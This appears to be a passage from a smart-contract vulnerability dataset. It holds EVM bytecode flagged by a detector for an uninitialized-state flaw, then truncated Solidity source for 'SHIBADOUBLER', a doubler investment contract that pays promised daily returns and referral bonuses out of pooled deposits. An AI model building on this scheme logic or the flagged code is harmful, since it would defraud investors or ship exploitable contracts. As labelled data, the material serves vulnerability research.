6040518082815260200191505060405180910390f35b34801561053657600080fd5b50610577600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611102565b604051808215151515815260200191505060405180910390f35b34801561059d57600080fd5b506105a66112ab565b005b3480156105b457600080fd5b506105d56004803603810190808035151590602001909291905050506113b0565b604051808215151515815260200191505060405180910390f35b3480156105fb57600080fd5b506106046114de565b604051808215151515815260200191505060405180910390f35b34801561062a57600080fd5b506106336115a6565b005b34801561064157600080fd5b5061064a611667565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561069857600080fd5b506106a161168d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106e15780820151818401526020810190506106c6565b50505050905090810190601f16801561070e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561072857600080fd5b50610767600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116c6565b604051808215151515815260200191505060405180910390f35b34801561078d57600080fd5b506107c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611830565b604051808215151515815260200191505060405180910390f35b3480156107e857600080fd5b50610827600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611850565b005b34801561083557600080fd5b50610874600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a76565b604051808215151515815260200191505060405180910390f35b34801561089a57600080fd5b506108a3611be0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108f157600080fd5b50610946600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c06565b6040518082815260200191505060405180910390f35b34801561096857600080fd5b5061099d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c8d565b005b600360149054906101000a900460ff1681565b6040805190810160405280601281526020017f5072652d496e766573746d656e7420434658000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a555750600760009054906101000a900460ff165b80610aa95750600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610b43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f546f6b656e206c6f636b6564206f722073656e64657220756e617574686f726981526020017f7a6564000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b610b4d8383611cf5565b905092915050565b6000600154905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bc95750600760009054906101000a900460ff165b80610c1d5750600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610cb7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f546f6b656e206c6f636b6564206f722073656e64657220756e617574686f726981526020017f7a6564000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b610cc2848484611d25565b90509392505050565b601281565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3257600080fd5b600360159054906101000a900460ff161515610d4d57600080fd5b6000600360156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610df457600080fd5b600360149054906101000a900460ff16151515610e1057600080fd5b6000600554111515610e8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f436170206e6f74207365742c206e6f7420696e697469616c697a65640000000081525060200191505060405180910390fd5b600554610ea283600154611d5790919063ffffffff16565b11151515610f18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f547279696e6720746f206d696e74206f7665722074686520636170000000000081525060200191505060405180910390fd5b610f228383611d73565b905092915050565b600360159054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fa75750600760009054906101000a900460ff165b80610ffb5750600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611095576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f546f6b656e206c6f636b6564206f722073656e64657220756e617574686f726981526020017f7a6564000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b61109f8383611f59565b905092915050565b600760009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116057600080fd5b811515600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561124e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f5468617420697320616c7265616479207468652063757272656e74207374617481526020017f757300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561130757600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140e57600080fd5b811515600760009054906101000a900460ff161515141515156114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f5468617420697320616c7265616479207468652063757272656e74207374617481526020017f757300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b81600760006101000a81548160ff021916908315150217905550919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561153c57600080fd5b600360149054906101000a900460ff1615151561155857600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160257600080fd5b600360159054906101000a900460ff1615151561161e57600080fd5b6001600360156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f504346580000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117305750600760009054906101000a900460ff165b806117845750600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561181e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f546f6b656e206c6f636b6564206f722073656e64657220756e617574686f726981526020017f7a6564000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6118288383611f89565b905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ac57600080fd5b6000600554141515611926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f43617020697320616c726561647920736574000000000000000000000000000081525060200191505060405180910390fd5b60008111151561199e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f547279696e6720746f2073657420616e20696e76616c6964206361700000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611a63576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4e6f742063616c6c696e672066726f6d2070726f78790000000000000000000081525060200191505060405180910390fd5b8060058190555060006001819055505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611ae05750600760009054906101000a900460ff165b80611b345750600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611bce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f546f6b656e206c6f636b6564206f722073656e64657220756e617574686f726981526020017f7a6564000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611bd88383611fb9565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce957600080fd5b611cf281611fe9565b50565b6000600360159054906101000a900460ff16151515611d1357600080fd5b611d1d83836120e5565b905092915050565b6000600360159054906101000a900460ff16151515611d4357600080fd5b611d4e8484846121d7565b90509392505050565b60008183019050828110151515611d6a57fe5b80905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dd157600080fd5b600360149054906101000a900460ff16151515611ded57600080fd5b611e0282600154611d5790919063ffffffff16565b600181905550611e59826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360159054906101000a900460ff16151515611f7757600080fd5b611f818383612592565b905092915050565b6000600360159054906101000a900460ff16151515611fa757600080fd5b611fb18383612824565b905092915050565b6000600360159054906101000a900460ff16151515611fd757600080fd5b611fe18383612a44565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561202557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561222657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156122b157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156122ed57600080fd5b61233e826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c4090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c4090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831015156126a4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612738565b6126b78382612c4090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561287357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156128af57600080fd5b612900826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c4090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612993826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000612ad582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515612c4e57fe5b8183039050929150505600a165627a7a72305820b630a6139a36833212c63fa8f8654c615f1c6401afcc0053b217309d740ec21e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}} | 10,174 |
0xE826Da0f088EAAC0E1bC24dB9CBeA30c2088C619 | pragma solidity ^0.5.8;
contract SHIBADOUBLER {
using SafeMath for uint;
IERC20 public token;
uint constant public DEPOSITS_MAX = 100;
uint constant public INVEST_MIN_AMOUNT = 1000000 * (10 ** 18); // 1m
uint constant public BASE_PERCENT = 1000; // 10%
uint public REFERRAL_PERCENTS = 1000;
uint constant public MARKETING_FEE = 800;
uint constant public PLATFORM_FEE = 200;
uint constant public MAX_CONTRACT_PERCENT = 5000;
uint constant public MAX_HOLD_PERCENT = 1000;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 88000000 * (10 ** 18); // 88m
uint constant public TIME_STEP = 1 days;
uint public totalDeposits;
uint public totalInvested;
uint public totalWithdrawn;
uint public contractPercent;
address public marketingAddress;
address public platformAddress;
struct Deposit {
uint128 amount;
uint128 withdrawn;
uint128 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint16 rbackPercent;
uint256 bonus;
uint256 availableBonus;
uint24 refs;
}
uint256 public marketingAvailable;
uint256 public platformAvailable;
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address marketingAddr, address platformAddr, IERC20 tokenAddr) public {
require(!isContract(marketingAddr) && !isContract(platformAddr));
token = tokenAddr;
marketingAddress = marketingAddr;
platformAddress = platformAddr;
contractPercent = getContractBalanceRate();
}
function invest(uint depAmount, address referrer) public {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(depAmount >= INVEST_MIN_AMOUNT, "Minimum deposit amount 1000000 SHIBA");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
token.transferFrom(msg.sender, address(this), depAmount);
uint marketingFee = depAmount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint platformFee = depAmount.mul(PLATFORM_FEE).div(PERCENTS_DIVIDER);
marketingAvailable = marketingAvailable.add(marketingFee);
platformAvailable = platformAvailable.add(platformFee);
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
uint refbackAmount;
if (user.referrer != address(0)) {
address upline = user.referrer;
uint amount = depAmount.mul(REFERRAL_PERCENTS).div(PERCENTS_DIVIDER);
if (users[upline].rbackPercent > 0) {
refbackAmount = amount.mul(uint(users[upline].rbackPercent)).div(PERCENTS_DIVIDER);
users[msg.sender].availableBonus = users[msg.sender].availableBonus.add(refbackAmount);
emit RefBack(upline, msg.sender, refbackAmount);
amount = amount.sub(refbackAmount);
}
if (amount > 0) {
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].availableBonus = users[upline].availableBonus.add(amount);
emit RefBonus(upline, msg.sender, amount);
}
users[upline].refs++;
}
if (user.deposits.length == 0) {
user.checkpoint = uint32(block.timestamp);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(uint128(depAmount), 0, uint128(refbackAmount), uint32(block.timestamp)));
totalInvested = totalInvested.add(depAmount);
totalDeposits++;
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
emit NewDeposit(msg.sender, depAmount);
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
user.deposits[i].withdrawn = uint128(uint(user.deposits[i].withdrawn).add(dividends)); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
totalAmount = totalAmount.add(user.availableBonus);
require(totalAmount > 0, "User has no dividends");
uint contractBalance = token.balanceOf(address(this));
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = uint32(block.timestamp);
user.availableBonus = 0;
token.transfer(msg.sender, totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function setRefback(uint16 rbackPercent) public {
require(rbackPercent <= 10000);
User storage user = users[msg.sender];
if (user.deposits.length > 0) {
user.rbackPercent = rbackPercent;
}
}
function getContractBalance() public view returns (uint) {
return token.balanceOf(address(this));
}
function getContractBalanceRate() internal view returns (uint) {
uint contractBalance = token.balanceOf(address(this));
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(2)); // +0.02% per 88m coins
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP).mul(100); // +1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserAvailable(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint userPercentRate = getUserPercentRate(userAddress);
uint totalDividends;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
.div(TIME_STEP);
} else {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.checkpoint)))
.div(TIME_STEP);
}
if (uint(user.deposits[i].withdrawn).add(dividends) > uint(user.deposits[i].amount).mul(2)) {
dividends = (uint(user.deposits[i].amount).mul(2)).sub(uint(user.deposits[i].withdrawn));
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends.add(user.availableBonus);
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
return (user.deposits.length > 0) && uint(user.deposits[user.deposits.length-1].withdrawn) < uint(user.deposits[user.deposits.length-1].amount).mul(2);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].amount));
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint amount = user.bonus;
for (uint i = 0; i < user.deposits.length; i++) {
amount = amount.add(uint(user.deposits[i].withdrawn)).add(uint(user.deposits[i].refback));
}
return amount;
}
function getUserDeposits(address userAddress, uint last, uint first) public view returns (uint[] memory, uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[userAddress];
uint count = first.sub(last);
if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
refback[index] = uint(user.deposits[i-1].refback);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint) {
return (totalInvested, totalDeposits, getContractBalance(), contractPercent);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint, uint) {
uint userPerc = getUserPercentRate(userAddress);
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userDeposits = getUserAmountOfDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userPerc, userAvailable, userDepsTotal, userDeposits, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint16, uint16, uint256, uint256, uint24) {
User storage user = users[userAddress];
return (user.referrer, user.rbackPercent, users[user.referrer].rbackPercent, user.bonus, user.availableBonus, user.refs);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function recieveMarketing() public payable {
require(marketingAvailable > 0, "nothing to recieve");
uint value = marketingAvailable;
marketingAvailable = 0;
token.transfer(marketingAddress, value);
emit FeePayed(marketingAddress, value);
}
function recievePlatform() public payable {
require(platformAvailable > 0, "nothing to recieve");
uint value = platformAvailable;
platformAvailable = 0;
token.transfer(platformAddress, value);
emit FeePayed(platformAddress, value);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
